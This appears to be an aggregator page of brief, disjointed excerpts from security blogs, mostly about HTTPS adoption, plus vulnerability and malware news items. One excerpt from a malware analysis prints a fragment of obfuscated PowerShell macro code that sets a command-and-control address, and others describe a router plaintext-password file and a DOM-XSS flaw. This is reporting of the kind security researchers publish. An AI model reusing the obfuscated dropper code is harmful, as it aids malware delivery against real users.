Security Affairs

JUNE 24, 2021

It allows the BIOS to connect to Dell’s servers via HTTPS to download an image of the operating system. Dell also provides workarounds to disable both the BIOSConnect and HTTPS Boot features. The attack is possible because TLS connection from BIOSConnect will accept any valid wildcard certificate. ” concludes the report.

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Troy Hunt

DECEMBER 16, 2019

Back in July last year, Scott Helme and I shipped a little pet project that tracked the world's largest websites not implementing HTTPS by default. We called it Why No HTTPS? and I then roll the HTTP sites and HTTPS sites list into the Why No HTTPS? In that regard, it's quite simple. Except it's not really.

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Troy Hunt

AUGUST 3, 2022

Until now because finally, it's live, working and devilishly beautiful 😈 Step 1: Receive Spam This is the easy bit - I didn't have to do anything for this step! This made adding HTTPS to any website easy (and free), added heaps of really neat WAF functionality and empowered us to do cool things with caching.

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Troy Hunt

JUNE 29, 2018

I talk a lot about that in this week's update, as well as the short tutorial series I released on how HTTPS is easy. I'm really happy to see people chiming in on the discussion and talking about how they've already used it to move their site to HTTPS and I hope we see a lot more of that in the future too. HTTPS Is Easy! (I

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Troy Hunt

JANUARY 23, 2022

Not just all HIBP services, but everything else I run in Azure from Hack Yourself First to Why No HTTPS. " }, "uri":"[link] "protocol":"HTTPS", "resourceType":"Microsoft.Storage/storageAccounts/blobServices" } Well, there's the problem. But this is a storage account - why?

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Info Source

MAY 11, 2022

Both scanners are ideal for document-heavy processes and make it easy to quickly and accurately convert paper-based information into business-critical data. This makes it easy to integrate them into line-of-business applications, web-based scanning applications, and mobile devices. color touchscreen deliver simple operation.

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Digital transformation Paper Marketing Education 59

eSecurity Planet

APRIL 30, 2024

I recommend choosing a name that’s intuitive and easy for your security team to remember. A demilitarized zone (DMZ) network is a subnetwork that businesses use to protect their company’s local area network (LAN) and data from external sources. You’ll also need to give the DNS server and default gateway an IP address.

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Troy Hunt

JULY 31, 2018

We're already seeing some sites on the Day 1 list go HTTPS (although frankly, if the site is that large and they've done it that quickly then I doubt it's because of our list), and really, that's the best possible outcome of this project - seeing websites drop off because an insecure request is now redirected to a secure one. So what gives?

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Imperial Violet

AUGUST 25, 2021

Base-64 is easy because that's exactly 6 bits per character; you work on 3 bytes of input at a time and produce exactly 4 characters of output. QR codes seem to have won the battle for 2D barcodes, but they're not just a bag of bits inside. Their payload is a series of segments , each of which can have a different encoding.

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Security Affairs

JANUARY 2, 2019

GNU Wget is a free software package for retrieving files using HTTP, HTTPS, FTP and FTPS the most widely-used Internet protocols. GNU Wget has many features to make retrieving large files or mirroring entire web or FTP sites easy. The flaw, tracked as CVE-2018-20483 , could allow local users to obtain sensitive information (e.g.,

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Security Affairs

SEPTEMBER 11, 2019

While analyzing the dual-band D-Link DSL-2875AL wireless router, the expert discovered that a file located at https : //[router ip address ] /romfile.cfg contains the login password of the device in plaintext. Anyone with access to the web-based management IP address can read the files without any authentication. download=true.

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Security Affairs

NOVEMBER 18, 2021

The researchers noticed that threat actors uses HTTPS on the landing page to avoid raising suspicion. Anyway the use of a constant key make it easy for malware researchers to reverse the malicious code. The BrazKing Android banking trojan is back with significant improvements and dynamic banking overlays to avoid detection.

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Security Affairs

APRIL 26, 2019

Most devices support PPTP and because of how easy it is to set-up and is rather popular among VPN companies. Super-fast Easy to set up and use Nearly all platforms support the protocol. Moreover, it has NetBIOS functionality and depending on the setup; it can share port 443 with HTTPS. L2TP/IPsec.

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Troy Hunt

NOVEMBER 25, 2020

In part 1 of this series, I posited that the IoT landscape is an absolute mess but Home Assistant (HA) does an admirable job of tying it all together. In part 2 , I covered IP addresses and the importance of a decent network to run all this stuff on, followed by Zigbee and the role of low power, low bandwidth devices. Let's dive into it.

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Troy Hunt

MAY 7, 2018

But as time has gone by and HTTPS has become increasingly ubiquitous and obtainable by all, the veracity of that advice has taken a serious hit. Most notably, they're now free through services like Let's Encrypt and Cloudflare and they're dead easy to setup so there goes another barrier too. But the option does not exist.

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OneHub

JUNE 30, 2021

Companies specializing in design such as engineers, architects, and graphic designers often have extremely large files that are impossible to transfer via email and slow to share via HTTPS. In the fast-moving world of technology, that’s an eternity. Is it time to say goodbye to file transfer protocol, or is it an oldie but goodie? Not secure.

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eSecurity Planet

FEBRUARY 13, 2024

Port number: Directs the destination or source data to specific ports associated with services such as email, FTP, or web browsing (HTTP, HTTPS traffic). Packet filtering is a firewall feature that allows or drops data packets based on simple, pre-defined rules regarding IP addresses, ports, or protocols.

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Security Affairs

OCTOBER 12, 2018

wasn’t using CSP made these vulnerabilities easy to exploit in any browser we like. return null; if ([‘http:’, ‘https:’].indexOf(protocol) It’s a good idea to change your password ASAP. Details: DOM-based XSS vulnerability, also known as “type-0 XSS” is a class of cross-site scripting vulnerability that appears within the DOM.

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Troy Hunt

MARCH 10, 2021

Two of my favourite things these days are Have I Been Pwned and Home Assistant. The former is an obvious choice, the latter I've come to love as I've embarked on my home automation journey. So, it was with great pleasure that I saw the two integrated recently: always something. Thank you for your nice service, by the way!

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Troy Hunt

OCTOBER 28, 2020

I assumed Baidu got the lion's share of the votes by virtue of the HTTP address not being served over the secure scheme, even though HTTPS has got absolutely nothing to do with the trustworthiness of the contents of a website. Turns out it was the third one: The answer is number 3. That’s how [link] became [link]. — Bartek ?wierczy?ski

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Thales Cloud Protection & Licensing

JANUARY 24, 2019

509 certificates over HTTPS. We have seen an explosion in certificate use in recent years. This is partly due to the trend towards miniaturization. The monolithic applications of old are now deployed as dozens of micro-services on platforms like Kubernetes. It ought to be more popular than it is. Enrollment over Secure Transport.

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Security Affairs

SEPTEMBER 21, 2019

Wasn’t easy, but with help from the team, we did that, and I learned a lot. So I just set it up and switched all access to HTTPS and hopefully the dead-links effect are minimum. Hello, it’s unixfreaxjp here. It has been a while since I wrote our own blog, and it is good to be back. The background. Linux/STD bot.

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Archive Document Data Storage

FEBRUARY 7, 2018

Before submitting any information on a website, advise employees to make sure the site’s URL begins with “https.” Locked collection containers are placed next to printers, photocopiers, and in other high-traffic office areas, making it easy for your employees to promptly discard expired documents and media.

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Troy Hunt

MARCH 4, 2020

Well there's HTTPS from top to bottom so job done! For example, this just a couple of days ago: This is cool: @identityauto is integrating @haveibeenpwned 's Pwned Passwords into their RapidIdentity product. Very slick! They could be searching for any password whose SHA-1 hash begins with those characters.

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Troy Hunt

SEPTEMBER 26, 2018

Scott Helme put me onto this originally via his two excellent posts on Securing DNS across all of my devices with Pi-Hole + DNS-over-HTTPS + 1.1.1.1 On the other hand, I appreciate the need for publishers to earn a living so that I can consume their hard-earned work for free. That is all. No HTML tags. No tracking. Which brings me to Pi-hole.

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Troy Hunt

SEPTEMBER 17, 2020

HTTPS Still has a Long Way to Go This is such a mess it's difficult to even know where to begin, so let me just start with the easy bits then progressively unveil just what a train wreck the current state of encrypted web traffic is. Here's the value proposition of a VPN in the modern era: 1.

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Security Affairs

APRIL 28, 2020

The Outlaw Hacking Group is back, malware researchers from Cybaze-Yoroi ZLab have uncovered a new botnet that is targeting European organizations. Introduction. During our daily monitoring activities, we intercepted a singular Linux malware trying to penetrate the network of some of our customers. Figure 1: Shellbot Bruteforcing.

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Mining File names Honeypots IT 101

The Last Watchdog

DECEMBER 9, 2019

Take note of how the URL begins with HTTPS. The ‘S’ in HTTPS stands for ‘secure.’ Related: How PKI could secure the Internet of Things If that sounds too complicated to grasp, take a look at the web address for the home page of this website. Here’s the bottom line: PKI is the best we’ve got.

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ForAllSecure

MARCH 29, 2023

This gives them an easy way to build custom maps and add location-based features to their applications or websites. APIs allow developers to integrate different software systems, making it easier than ever to create complex applications and services. API Basics: What Is an API and How Do APIs Work?

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eSecurity Planet

JULY 25, 2022

The domain name system (DNS) is basically a directory of addresses for the internet. Your browser uses DNS to find the IP for a specific service. For example, when you enter esecurityplanet.com, the browser queries a DNS service to reach the matching servers, but it’s also used when you send an email. Also read: How to Prevent DNS Attacks.

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IT Governance

JULY 27, 2018

Google released version 68 of its Chrome browser this week and, with it, has started marking all websites that use HTTP as ‘not secure’ in a move to nudge site owners towards using HTTPS. HTTPS, as you probably know, encrypts traffic between users and the sites they visit with the TLS, or transport layer security, protocol.

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Troy Hunt

JULY 23, 2018

As of today, Google begins shipping Chrome 68 which flags all sites served over the HTTP scheme as being "not secure" This is because the connection is, well, not secure so it seems like a fairly reasonable thing to say! Make sure your site redirects to #HTTPS , so you don’t have the same problem. Cloudflare makes it easy!

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Troy Hunt

JANUARY 3, 2019

Here's my 2018 highlights, starting with travel: Travel "Oh yeah, I'm totally gonna travel less this year" - me every single year In reality, my travel ended up looking like this: That's the same number as last year, 4 more days and another 8,000km. Who knows, maybe this is something I'll even write more about in 2019 if there's an appetite.

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Cyber Info Veritas

JUNE 25, 2018

This in itself shows the need for more cybersecurity experts or at the very least, basic cybersecurity knowledge such as making sure the websites you are visiting are safe and genuine (sometimes, even looking for https encryption and other signals aren’t enough). The company further projects that the attacks will grow by 430% (to about 3.1

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Cyber Info Veritas

AUGUST 9, 2018

Would you like to know how to protect yourself from the ever-present threat of cybercrime perpetrated by black hat hackers? Yes, there are bad and good hackers. Their main aim is to exploit your “mistakes and vulnerabilities” to blackmail you into sending them money or they’ll leak your private data. Black hat hackers are the bad kind.

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Security Affairs

JUNE 11, 2019

Once opened, a fake obfuscated image invites the victim to enable the content in order to start the malicious macro (as shown in Figure 1 on the left). However, moving the blurred figure away reveals the cell A1 contains hidden code: its content is a Base64 encoded script. Figure 2: Snippet of the macro code. ype ‘,’6wSystem.Dr’)).”re`PLACe”(([ChAr]68+[ChAr]54+[ChAr]119),[sTriNG][ChAr]39));${c2}=’$tm=”[link]

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Troy Hunt

JANUARY 3, 2020

Whilst it's relatively easy to implement via frameworks such as ASP.NET , it leaves you wondering - do cookies really need to be that promiscuous? Cookies just don't care about how the request was initiated nor from which origin, all they care about is that they're valid for the requested resource. Why is this possible?

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